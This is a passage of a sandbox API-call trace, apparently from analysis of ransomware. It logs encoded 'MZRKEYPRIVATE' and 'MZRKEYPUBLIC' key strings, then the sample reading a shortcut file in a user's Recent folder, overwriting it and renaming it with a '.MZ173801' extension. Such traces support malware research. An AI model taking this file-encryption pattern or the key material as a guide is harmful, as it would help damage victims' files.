lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0150.860] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0150.861] GetCurrentThreadId () returned 0xab4 [0150.861] GetCurrentThreadId () returned 0xab4 [0150.861] GetCurrentThreadId () returned 0xab4 [0150.861] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0150.861] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0150.862] GetCurrentThreadId () returned 0xab4 [0150.862] GetCurrentThreadId () returned 0xab4 [0150.862] GetCurrentThreadId () returned 0xab4 [0150.862] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oc9w vNlFm_eUy1Ryd4.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oc9w vnlfm_euy1ryd4.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0150.862] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0150.862] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0150.862] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x2b5 [0150.862] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0150.862] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x2b5, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x2b5, lpOverlapped=0x0) returned 1 [0150.863] CloseHandle (hObject=0x280) returned 1 [0150.863] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oc9w vNlFm_eUy1Ryd4.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oc9w vnlfm_euy1ryd4.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0150.864] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x2b5, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x2b5, lpOverlapped=0x0) returned 1 [0150.865] CloseHandle (hObject=0x280) returned 1 [0150.866] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oc9w vNlFm_eUy1Ryd4.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oc9w vnlfm_euy1ryd4.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oc9w vNlFm_eUy1Ryd4.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oc9w vnlfm_euy1ryd4.lnk.mz173801")) returned 1 [0150.867] GetCurrentThreadId () returned 0xab4 [0150.867] GetCurrentThreadId () returned 0xab4 [0150.867] GetCurrentThreadId () returned 0xab4 [0150.867] GetCurrentThreadId () returned 0xab4 [0150.867] GetCurrentThreadId () returned 0xab4 [0150.867] GetCurrentThreadId () returned 0xab4 [0150.867] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1c3ba12, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf1c3ba12, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf1c3ba12, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x404, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="oeFUq.lnk", cAlternateFileName="")) returned 1 [0150.867] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0150.867] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0150.867] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oeFUq.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oefuq.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1c3ba12, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf1c3ba12, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf1c3ba12, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x404)) returned 1 [0150.867] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oeFUq.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\oefuq.lnk")) returned 0x20 [0150.867] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oeFUq.lnk", dwFileAttributes=0x80) returned 1 [0150.869] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0150.869] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 